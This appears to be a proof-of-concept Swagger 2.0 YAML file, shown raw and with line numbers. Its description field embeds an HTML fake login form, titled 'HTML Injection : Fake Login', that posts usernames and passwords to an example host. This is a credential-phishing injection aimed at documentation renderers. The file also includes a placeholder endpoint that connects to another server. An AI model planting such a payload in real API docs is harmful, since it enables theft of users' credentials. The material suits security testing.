test3.yaml
· 1.5 KiB · YAML
Raw
swagger: '2.0'
info:
version: 1.0.0
title: Fake Login Page
description: |
<div class="login-form">
<div class="heading">
<h1>HTML Injection : Fake Login</h1>
</div>
<div class="form-container">
<form action="https://example.com/login" method="post" class="form-signin">
<div class="form-group">
<label for="username">Username</label>
<input type="text" name="username" size="20">
</div>
<div class="form-group">
<label for="password">Password</label>
<input type="password" name="password" size="20">
</div>
<div class="form-group">
<button type="submit" class="btn btn-default">Login</button>
</div>
</form>
</div>
</div>
host: 1.0.0.1 # Change to 127.0.0.1 for local testing
schemes:
- http
paths:
/:
post:
summary: Fake login
description: Fake login endpoint for demonstration.
responses:
'200':
description: Login successful
/your-endpoint:
get:
summary: Connect to 128.0.0.1 server
description: This endpoint will demonstrate connecting to another server.
produces:
- application/json
responses:
'200':
description: Successful response
schema:
type: object
properties:
message:
type: string
example: Response from 128.0.0.1
1 | swagger: '2.0' |
2 | info: |
3 | version: 1.0.0 |
4 | title: Fake Login Page |
5 | description: | |
6 | <div class="login-form"> |
7 | <div class="heading"> |
8 | <h1>HTML Injection : Fake Login</h1> |
9 | </div> |
10 | <div class="form-container"> |
11 | <form action="https://example.com/login" method="post" class="form-signin"> |
12 | <div class="form-group"> |
13 | <label for="username">Username</label> |
14 | <input type="text" name="username" size="20"> |
15 | </div> |
16 | <div class="form-group"> |
17 | <label for="password">Password</label> |
18 | <input type="password" name="password" size="20"> |
19 | </div> |
20 | <div class="form-group"> |
21 | <button type="submit" class="btn btn-default">Login</button> |
22 | </div> |
23 | </form> |
24 | </div> |
25 | </div> |
26 | host: 1.0.0.1 # Change to 127.0.0.1 for local testing |
27 | schemes: |
28 | - http |
29 | paths: |
30 | /: |
31 | post: |
32 | summary: Fake login |
33 | description: Fake login endpoint for demonstration. |
34 | responses: |
35 | '200': |
36 | description: Login successful |
37 | /your-endpoint: |
38 | get: |
39 | summary: Connect to 128.0.0.1 server |
40 | description: This endpoint will demonstrate connecting to another server. |
41 | produces: |
42 | - application/json |
43 | responses: |
44 | '200': |
45 | description: Successful response |
46 | schema: |
47 | type: object |
48 | properties: |
49 | message: |
50 | type: string |
51 | example: Response from 128.0.0.1 |